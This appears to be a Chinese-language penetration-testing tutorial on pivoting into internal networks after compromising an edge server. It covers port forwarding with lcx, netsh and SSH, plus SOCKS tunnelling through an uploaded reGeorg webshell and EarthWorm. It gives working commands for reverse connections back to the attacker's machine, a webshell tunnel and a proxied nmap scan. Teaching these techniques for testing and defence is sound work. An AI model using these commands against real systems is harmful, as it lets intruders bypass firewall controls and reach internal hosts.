Part.0
目录
一、端口转发类
1.Lcx
2、Netsh
3、SSH
二、SOCKS代理类
1、reGeorg
2、EarthWorm
Part.1
Lcx
本地端口转发
有如下图所示测试环境,外网服务器拥有双网卡,既可与公网进行通信,也可以与内网服务器进行通信。
内网服务器不可访问公网,但可以与外网服务器的内网IP进行通信。
假设我们拿下了外网服务器的账号、密码和命令行权限,想要直接访问外网服务器的3389服务。
但因为防火墙等访问控制策略,不允许公网直接访问3389端口,此时可以尝试lcx的本地转发功能将其转发到其他端口。
首先通过文件传输的方法将lcx.exe传输至外网服务器
运行lcx,将3389端口转发到外网可以访问的8888端口:
lcx.exe -tran 8888 127.0.0.1 3389
使用攻击机连接外网服务器8888端口:
数据进行本地端口转发:
成功通过8888端口将流量转发至3389服务:
正向端口转发
假设我们已经拿下了外网服务器的命令行权限,以及内网服务器账号、密码。
此时想让攻击机能够访问内网服务器的3389端口,可以通过外网服务器来充当跳板,进行正向端口转发。
将访问外网服务器8888端口的流量,全部转发至内网服务器的3389端口:
lcx.exe -tran 8888 192.168.100.2 3389
使用攻击机尝试连接外网服务器8888端口:
外网服务器开始进行流量转发:
成功访问到内网服务器远程桌面:
反向端口转发
假设这次拿下了外网服务器、内网服务器的命令行权限,并知道内网服务器账号、密码。
想要通过攻击机,远程连接内网服务器远程桌面服务。但由于内网防火墙包过滤策略,不允许外网服务器访问它。
此时可以通过反向端口转发,由内网服务器主动发起转发。
外网服务器对1234端口开启监听,并转发至本地8888端口:
lcx.exe -listen 1234 8888
内网服务器开启反向连接,将本地3389端口转发至外网服务器1234端口:
lcx.exe -slave 192.168.100.1 1234 127.0.0.1 3389
可以看到外网服务器已经接收到了连接:
现在使用攻击机连接外网服务器8888端口:
外网服务器开始转发流量:
成功转发流量至内网服务器:
Linux版lcx
Linux版本的lcx叫做portmap
先将对应的c文件上传至linux服务器中:
通过gcc进行编译后即可使用:
gcc portmap.c -o lcx
功能与windows版一样,例如将流量正向转发至外网服务器的3389端口:
./lcx -m l -p1 8888 -h2 192.168.3.140 -p2 3389
尝试连接linux的8888端口:
成功连接至window的3389端口:
Part.2
Netsh
本地端口转发
Netsh 是Windows自带的命令行脚本工具,它可以建立端口映射。与LCX不同,netsh不支持反向的端口转发。
本地端口转发:
和lcx类似,我们将外网服务器的80端口,转发到8888端口:
netsh interface portproxy add v4tov4 listenport=8888 connectport=80 connectaddress=192.168.3.140
通过以下命令可查询当前转发策略:
Netsh interface portproxy show all
尝试访问8888端口,顺利转发至80服务:
可通过delete命令删除策略:
netsh interface portproxy delete v4tov4 listenport=8888
正向端口转发
假设我们已经拿下了外网服务器的命令行权限,以及内网服务器账号、密码。
此时想让攻击机能够访问内网服务器的3389端口。可以通过外网服务器来充当跳板,进行正向端口转发。
在外网服务器配置端口转发:
Netshinterface portproxy add v4tov4 listenaddress=192.168.3.140 8888 connectaddress=192.168.100.2 connectport=3389
尝试通过外网服务器连接内网3389服务:
成功连接:
删除策略:
Netsh interface portproxy delete v4tov4listenport=8888 listenaddress=192.168.3.140
Part.3
SSH
SSH
ssh也支持端口转发,但前提是需要知道对端的ssh用户名及口令。
通过SecureCRT等工具连接外网服务器:
开启端口转发:
尝试连接本地6677端口:
成功转发至内网服务器3389端口:
Part.4
reGeorg
reGeorg+Proxifier
reGeorg是一款把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP通信的工具。
使用时需要配合webshell建立一个SOCKS代理来进行内网穿透,支持多种类型的webshell:
以下面的拓扑为例,外网服务器是一个jsp服务器,对外网开放80服务,且存在文件上传漏洞。攻击机通过与外网服务器建立http隧道,来访问内网服务。
先将tunnel.jsp上传至外网服务器,并能够访问到:
在攻击机运行reGeorgSocksProxy.py脚本进行连接:
py -2 reGeorgSocksProxy.py -p 8899 -u http://192.168.3.140/upload/tunnel.jsp
//8899为任意指定的本地转发端口
在攻击机使用Proxifier工具,配置代理服务器:
添加代理规则,将流量代理至8899端口,最好将外网服务器、python.exe排除在外:
使用攻击机尝试访问内网服务器80端口,成功:
此时的Proxifier工具,成功将流量代理至本机8899端口:
reGeorgSocksProxy.py脚本,成功将流量转发至内网:
尝试直接连接内网3389端口,成功:
此时的Proxifier工具:
reGeorgSocksProxy.py脚本,成功转发3389流量:
//注意:Socks协议通过TCP协议进行数据传输,因而不提供如传递ICMP信息之类的网络层相关服务,ping测试会发现不通。
reGeorg+proxychains
攻击机如果为linux环境,则使用proxychains进行代理。第一步依然是将webshell上传至目标服务器:
运行reGeorgSocksProxy.py脚本:
配置/etc/proxychains.conf代理:
通过proxychains代理后访问内网服务器:
测试nmap扫描内网服务器常用端口:
proxychains nmap -Pn -sT –v 192.168.100.2
//成功~
类似工具
除了reGeorg之外,还有一些相同用法的工具如下:
https://github.com/SECFORCE/Tunna
https://github.com/nccgroup/ABPTTS
https://github.com/sensepost/reDuh
Part.5
EarthWorm
正向代理
EW 是一套便携式的网络穿透工具,既支持SOCKS5代理转发,又支持静态端口转发。
该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
静态端口转发功能和lcx类似,下面来讲讲socks代理功能。
正向代理依然是下面的拓扑图,通过外网服务器进行内网穿透:
将EW对应的执行程序上传至外网服务器:
外网服务器开启代理:
ew.exe -s ssocksd -l 8889
可以直接在浏览器中开启代理:
//这里使用的是FoxyProxy插件。
代理后尝试访问内网服务器80端口:
//成功~
或者使用Proxifier开启代理:
配置代理规则:
//将外网服务器IP、环回口流量排除在外
尝试远程连接内网服务器:
//成功~
反向代理
假设外网服务器不允许外部向其主动发起连接,则使用反向代理的方法。
首先在攻击机上开启监听:
ew.exe -s rcsocks -l 1080 -e 8880
外网服务器向攻击机8880端口发起连接:
ew.exe -s rssocks-d 192.168.3.1 -e 8880
通过Proxifier开启代理:
尝试访问内网远程桌面:
//成功~
Part.6
结语
好啦,以上就是今天的全部内容了